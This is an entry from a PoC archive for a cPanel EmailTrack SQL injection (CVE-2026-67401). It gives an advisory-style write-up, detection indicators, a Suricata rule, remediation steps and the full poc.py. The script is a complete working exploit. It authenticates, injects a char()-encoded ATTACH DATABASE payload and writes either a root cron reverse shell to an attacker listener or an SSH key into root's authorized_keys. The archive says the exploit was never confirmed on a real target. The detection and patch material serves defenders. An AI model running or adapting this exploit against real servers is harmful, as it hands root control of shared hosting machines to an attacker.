PoC Archive PoC Archive
CVE-2026-67401 category: web CVSS 9.9 (CRITICAL)
Unpatched

cPanel & WHM EmailTrack SQL Injection to Root RCE (CVE-2026-67401)

Published: 2026-11-25 • Researcher: axedos (PoC author); reported by Ali Mustafa (rz1027) and abed1526 per cPanel credit; vendor: cPanel / WebPros

Target software cPanel & WHM (EmailTrack email-statistics functionality)
Affected versions All supported builds before the September 8, 2026 patch: below 11.110.0.143, 11.134.0.55, 11.136.0.39, 11.138.0.4 and 11.138.1.9 (WP Squared), per the NVD version ranges
Status PoC
Severity Critical · CVSS 9.9
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-09
Author / Researcheraxedos (PoC author); reported by Ali Mustafa (rz1027) and abed1526 per cPanel credit; vendor: cPanel / WebPros
CVE / AdvisoryCVE-2026-67401
Categoryweb
SeverityCritical
CVSS Score9.9 (CVSS v3.0, CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
StatusPoC
TagsSQLi, cPanel, WHM, EmailTrack, root-RCE, arbitrary-file-write, SQLite-ATTACH, authenticated, shared-hosting, cron-persistence
RelatedN/A

Affected Target

FieldValue
Software / SystemcPanel & WHM (EmailTrack email-statistics functionality)
Versions AffectedAll supported builds before the September 8, 2026 patch: below 11.110.0.143, 11.134.0.55, 11.136.0.39, 11.138.0.4 and 11.138.1.9 (WP Squared), per the NVD version ranges
Language / PlatformPerl backend (Cpanel::DeliveryReporter) using an SQLite database; Linux x86_64 server; Python 3 client
Authentication RequiredYes — a valid cPanel account with mail privileges (or a stolen cpsession cookie and security token)
Network Access RequiredYes — HTTPS to the cPanel service on port 2083 (or WHM on 2087)

Summary

CVE-2026-67401 is a SQL injection in cPanel & WHM’s EmailTrack module, the component that records email delivery and search statistics. An authenticated hosting account with mail privileges can inject SQL into a query that the panel executes as root, and can use SQLite’s ATTACH DATABASE statement to create an arbitrary file with attacker-controlled content on the server. cPanel says this ultimately lets the account holder run code as root, collapsing the isolation between a customer account and the provider-controlled machine. The public PoC in this entry reconstructs a plausible exploitation path, but its author states it was never confirmed against a real target.

Vulnerability Details

Root Cause

Per the PoC author’s reconstruction, the EmailTrack search handler builds a SQLite query in Cpanel::DeliveryReporter and appends a trailing SQL comment (-- ) to the statement in a debug path. The function receives an untrusted search parameter (the PoC uses sender), and a newline in that value ends the comment line and starts a new SQL statement that is executed with the privileges of the panel backend process — root. Because SQLite is used rather than a networked database, the injected statement can call ATTACH DATABASE to create a file at an arbitrary path, then CREATE TABLE / INSERT / DETACH to write arbitrary bytes into it. cPanel’s advisory confirms an SQL injection in EmailTrack leading to root code execution but does not publish the vulnerable statement, parameter, or the exact file-write mechanism; treat the specific query shape above as the PoC author’s hypothesis, not vendor-confirmed detail.

Attack Vector

The attacker needs an authenticated cPanel session with mail privileges. The PoC logs in through the cPanel HTTPS service (/login/?login_only=1) to obtain a cpsession cookie and a cpsessXXXXXXXX security token, then sends a POST to /<token>/json-api/cpanel with cpanel_jsonapi_apiversion=2, cpanel_jsonapi_module=EmailTrack, cpanel_jsonapi_func=search and the malicious sender value. The injected SQL attaches a database file at a root-writable path (for example /etc/cron.d/cpanel_update or /root/.ssh/authorized_keys) and writes the attacker’s payload into it.

Impact

Arbitrary file creation as root, which the PoC turns into root code execution in two ways: writing a cron.d entry that calls back to an attacker listener every minute, or appending an SSH public key to root’s authorized_keys. On a shared hosting server this means a single customer account can take over the entire machine — reading every account’s data, modifying databases and files, and moving into other systems. CVSS v3.0 scores it 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) for that scope change from a low-privileged account to the host.

Environment / Lab Setup

Output
OS:          Linux x86_64 (cPanel & WHM server; Lab: VM or disposable test server)
Target:      cPanel & WHM pre-patch (PoC author's stated build: 11.138.0.3;
             unverified — see Notes)
Attacker:    Linux (Kali/Ubuntu) with Python 3, reachable from the target
Tools:       python3, requests, netcat listener, curl (for manual replay)

Setup Steps

Shell script
1
2
3
4
5
6
python3 -m pip install requests

python3 poc.py --target https://host:2083 -u user -p pass --lhost 10.0.0.1 --lport 443
python3 poc.py --target https://host:2083 -u user -p pass --ssh-key ~/.ssh/id_rsa.pub
python3 poc.py --target https://host:2083 --cookie abc --token cpsessXXX --lhost 10.0.0.1
python3 poc.py --target https://host:2083 --dry-run --lhost 10.0.0.1

Proof of Concept

Step-by-Step Reproduction

  1. Prepare a listener (reverse-shell mode) — start nc -lvnp 443 on the attacker host so the cron job spawned on the target has somewhere to connect.
  2. Authenticate — the PoC sends POST /login/?login_only=1 with user and pass; on success it takes the cpsession cookie and security_token from the JSON response, or extracts cpsessXXXXXXXX from the redirect Location header. Alternatively supply --cookie and --token to reuse an existing session.
  3. Build the injected payload — the PoC emits char(...)-encoded SQL so no quotes or special characters are needed on the wire: x, newline, ATTACH DATABASE char(...) AS z; CREATE TABLE IF NOT EXISTS z.t(v TEXT); INSERT INTO z.t VALUES(char(...)); DETACH z; -- . In cron mode the file path defaults to /etc/cron.d/cpanel_update and the content is a one-line cron job running a bash reverse shell; in SSH-key mode the path is /root/.ssh/authorized_keys and the content is the supplied public key.
  4. Deliver — the payload is POSTed as the sender parameter to /<token>/json-api/cpanel along with the EmailTrack JSON API parameters, over HTTPS with certificate verification disabled.
  5. Trigger and verify — the cron entry runs every 60 seconds and connects back to the listener; in SSH-key mode, log in as root over SSH with the matching private key. --dry-run prints an equivalent curl command for a manual check.

Exploit Code

See poc.py in this folder (upstream axedos/CVE-2026-67401).

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
payload shape (cron mode):
  x\nATTACH DATABASE char(47,101,116,99,...) AS z;
  CREATE TABLE IF NOT EXISTS z.t(v TEXT);
  INSERT INTO z.t VALUES(char(42,32,42,...));
  DETACH z; -- 

request:
  POST /<cpsessXXXXXXXX>/json-api/cpanel
  cpanel_jsonapi_apiversion=2&cpanel_jsonapi_module=EmailTrack
  &cpanel_jsonapi_func=search&success=1&failure=1&defer=1
  &sender=<payload above>

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
  ┌─────────────────────────────────────────────┐
  │  CVE-2026-67401                             │
  │  cPanel EmailTrack SQLi -> Root RCE         │
  │  axedos                                     │
  └─────────────────────────────────────────────┘

[*] mode    : cron reverse shell -> /etc/cron.d/cpanel_update
[*] callback: 10.0.0.1:443
[*] authenticating as user ...
[+] session : cpsessXXXXXXXXXX
[*] POST https://host:2083/cpsessXXXXXXXXXX/json-api/cpanel
[*] payload size: 512 bytes
[*] HTTP 200  (1234 bytes)
[+] delivered.  file written as root if target is vulnerable.

[*] start listener:  nc -lvnp 443
[*] cron fires every 60s.

Message sizes vary; success is a root shell arriving on the listener within about a minute, or a root SSH login when using the key-drop mode.

Detection & Indicators of Compromise

  • cPanel access/API logs showing EmailTrack JSON API calls (cpanel_jsonapi_module=EmailTrack&cpanel_jsonapi_func=search) whose sender value contains newlines, ATTACH DATABASE, CREATE TABLE, DETACH, char( sequences, or SQL comment markers.
  • New or unexpected files with root ownership in /etc/cron.d/, /root/.ssh/authorized_keys, /var/spool/cron/root, or other system paths, especially files whose content is a single cron line.
  • Cron jobs invoking bash -i >& /dev/tcp/<ip>/<port> 0>&1, or outbound connections from the cPanel host to unusual external addresses on port 443 at one-minute intervals.
  • cPanel account logins from unusual source addresses followed immediately by EmailTrack API calls — the exploit needs credentials, so check authentication logs and session-token use.
  • Unexpected ATTACH/DETACH database activity, stray .db files, or SQLite error strings in cPanel’s error logs around EmailTrack.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"cPanel EmailTrack SQLi - ATTACH DATABASE in API request"; \
  content:"cpanel_jsonapi_module=EmailTrack"; http_client_body; \
  content:"ATTACH DATABASE"; http_client_body; nocase; sid:9006741;)

Remediation

ActionDetail
PatchUpdate the cPanel & WHM release line to a fixed build — 11.110.0.143, 11.134.0.55, 11.136.0.39, 11.138.0.4, or WP Squared 11.138.1.9 (or later). Run /usr/local/cpanel/scripts/upcp --force as root, or update via WHM.
WorkaroundcPanel’s advisory lists no interim mitigation. Where an immediate upgrade is impossible, restrict access to the cPanel/WHM ports to trusted networks and review which accounts hold mail privileges.
Config HardeningAudit cPanel accounts with mail privileges, enforce MFA and strong passwords on panel logins, restrict 2083/2087 to admin networks, monitor account-level API use, and treat the host as compromised if an unpatched server shows the indicators above (patching does not remove an already-planted cron entry or SSH key).

References

Notes

Auto-ingested from https://github.com/axedos/CVE-2026-67401 on 2026-11-25.

Review verdict: real exploit code, not a detector or scanner. poc.py is a self-contained client that authenticates, builds the SQLi/ATTACH file-write payload, delivers it to the EmailTrack JSON API, and supports cron reverse-shell or SSH-key persistence. It is retained as a PoC rather than Weaponized because the upstream README explicitly says it has not been tested on a real target and was assembled from public information and basic diffing; the file header’s “Tested on cPanel 11.138.0.3” line contradicts that statement and was not independently confirmed here. No exploit code was executed during archiving.

Limitations: the vulnerable query and parameter are not documented by the vendor, so the payload shape (newline escaping a -- comment in Cpanel::DeliveryReporter) is the author’s hypothesis and may not match the patched code path; the cPanel advisory publishes no technical mechanics; success depends on the target build being pre-patch and on EmailTrack being reachable from the account’s mail privileges. The char() encoding keeps the payload free of quotes but produces large bodies.

License: Apache License 2.0 (upstream LICENSE copied into this entry). Files archived with attribution for authorized security research only. Use against systems you own or have explicit written permission to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3
#
# Archived for authorized security research only.
# Source: https://github.com/axedos/CVE-2026-67401 (see README for attribution/license)
#
# CVE-2026-67401 - cPanel EmailTrack SQLi -> Root RCE
#
# SQL comment injection in Cpanel::DeliveryReporter.  Newline in a search
# parameter breaks out of a "-- " debug comment inside a SQLite query
# executed as root.  ATTACH DATABASE writes an arbitrary file.
#
# Requires: authenticated cPanel account w/ mail privileges.
#
# Author ................. axedos
# Date ................... 2026-09-09
# Tested on .............. cPanel 11.138.0.3 (pre-patch)
# Patched in ............. 11.138.0.4, 11.136.0.39, 11.134.0.55
#

from __future__ import print_function

import argparse
import re
import sys

try:
    import requests
    requests.packages.urllib3.disable_warnings()
except ImportError:
    requests = None

R = "\033[91m"
W = "\033[97m"
X = "\033[0m"

BANNER = f"""{R}
  ┌─────────────────────────────────────────────┐
  │  CVE-2026-67401                             │
  │  cPanel EmailTrack SQLi -> Root RCE         │
  │  {W}axedos{R}                                     │
  └─────────────────────────────────────────────┘{X}
"""


def _char(s):
    return "char(%s)" % ",".join(str(ord(c)) for c in s)


def payload_cron(lhost, lport, path="/etc/cron.d/cpanel_update"):
    cron = '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/%s/%d 0>&1"\n' % (lhost, lport)
    return _sqli_attach(path, cron)


def payload_sshkey(pubkey, path="/root/.ssh/authorized_keys"):
    return _sqli_attach(path, pubkey.rstrip("\n") + "\n")


def _sqli_attach(fpath, content):
    return (
        "x\n"
        "ATTACH DATABASE %s AS z; "
        "CREATE TABLE IF NOT EXISTS z.t(v TEXT); "
        "INSERT INTO z.t VALUES(%s); "
        "DETACH z; "
        "-- " % (_char(fpath), _char(content))
    )


API_PARAMS = {
    "cpanel_jsonapi_apiversion": "2",
    "cpanel_jsonapi_module":     "EmailTrack",
    "cpanel_jsonapi_func":       "search",
    "success": "1",
    "failure": "1",
    "defer":   "1",
}


def cpanel_login(base, user, passwd):
    r = requests.post(
        base + "/login/?login_only=1",
        data={"user": user, "pass": passwd},
        verify=False,
        allow_redirects=False,
    )

    if r.status_code == 200:
        j = r.json()
        if j.get("status"):
            return (r.cookies.get("cpsession", ""),
                    j["security_token"].strip("/"))

    if r.status_code in (301, 302):
        m = re.search(r"/(cpsess[a-zA-Z0-9]+)/",
                      r.headers.get("Location", ""))
        if m:
            return r.cookies.get("cpsession", ""), m.group(1)

    print("[-] authentication failed (%d)" % r.status_code, file=sys.stderr)
    sys.exit(1)


def fire(base, cookie, token, sqli):
    params = dict(API_PARAMS, sender=sqli)
    url = "%s/%s/json-api/cpanel" % (base, token)

    print("[*] POST %s" % url)
    print("[*] payload size: %d bytes" % len(sqli))

    r = requests.post(
        url,
        data=params,
        cookies={"cpsession": cookie},
        verify=False,
        timeout=30,
    )

    print("[*] HTTP %d  (%d bytes)" % (r.status_code, len(r.content)))

    if r.status_code == 200:
        print("[+] delivered.  file written as root if target is vulnerable.")
    else:
        print("[-] unexpected response:\n%s" % r.text[:512], file=sys.stderr)


def dry_run(base, sqli):
    params = dict(API_PARAMS, sender=sqli)
    print("[dry-run] curl command:\n")
    parts = ['curl -sk "%s/cpsessXXX/json-api/cpanel"' % base]
    for k, v in params.items():
        parts.append('  --data-urlencode "%s=%s"' % (k, v))
    print(" \\\n".join(parts))


def main():
    p = argparse.ArgumentParser(
        description="CVE-2026-67401  cPanel EmailTrack SQLi -> Root RCE",
    )
    p.add_argument("--target",   required=True, metavar="URL",
                   help="https://host:2083")
    p.add_argument("-u", "--user",    metavar="USER")
    p.add_argument("-p", "--passwd",  metavar="PASS")
    p.add_argument("--cookie",       metavar="VAL",
                   help="existing cpsession cookie")
    p.add_argument("--token",        metavar="TOK",
                   help="existing cpsessXXX token")
    p.add_argument("--lhost",        metavar="IP")
    p.add_argument("--lport",        metavar="PORT", type=int, default=443)
    p.add_argument("--ssh-key",      metavar="FILE",
                   help="public key file (alt payload)")
    p.add_argument("--cron-path",    metavar="PATH",
                   default="/etc/cron.d/cpanel_update")
    p.add_argument("--dry-run",      action="store_true")

    args = p.parse_args()
    target = args.target.rstrip("/")

    print(BANNER)

    if args.ssh_key:
        with open(args.ssh_key) as fh:
            sqli = payload_sshkey(fh.read())
        print("[*] mode    : ssh-key -> /root/.ssh/authorized_keys")
    else:
        lhost = args.lhost or "ATTACKER_IP"
        sqli = payload_cron(lhost, args.lport, args.cron_path)
        print("[*] mode    : cron reverse shell -> %s" % args.cron_path)
        print("[*] callback: %s:%d" % (lhost, args.lport))

    if args.dry_run:
        print()
        dry_run(target, sqli)
        return

    if requests is None:
        print("[-] pip install requests", file=sys.stderr)
        sys.exit(1)

    if args.cookie and args.token:
        cookie, token = args.cookie, args.token
        print("[*] using provided session")
    elif args.user and args.passwd:
        print("[*] authenticating as %s ..." % args.user)
        cookie, token = cpanel_login(target, args.user, args.passwd)
        print("[+] session : %s" % token)
    else:
        p.error("supply --user/--passwd or --cookie/--token")

    fire(target, cookie, token, sqli)

    if not args.ssh_key:
        print("\n[*] start listener:  nc -lvnp %d" % args.lport)
        print("[*] cron fires every 60s.")


if __name__ == "__main__":
    main()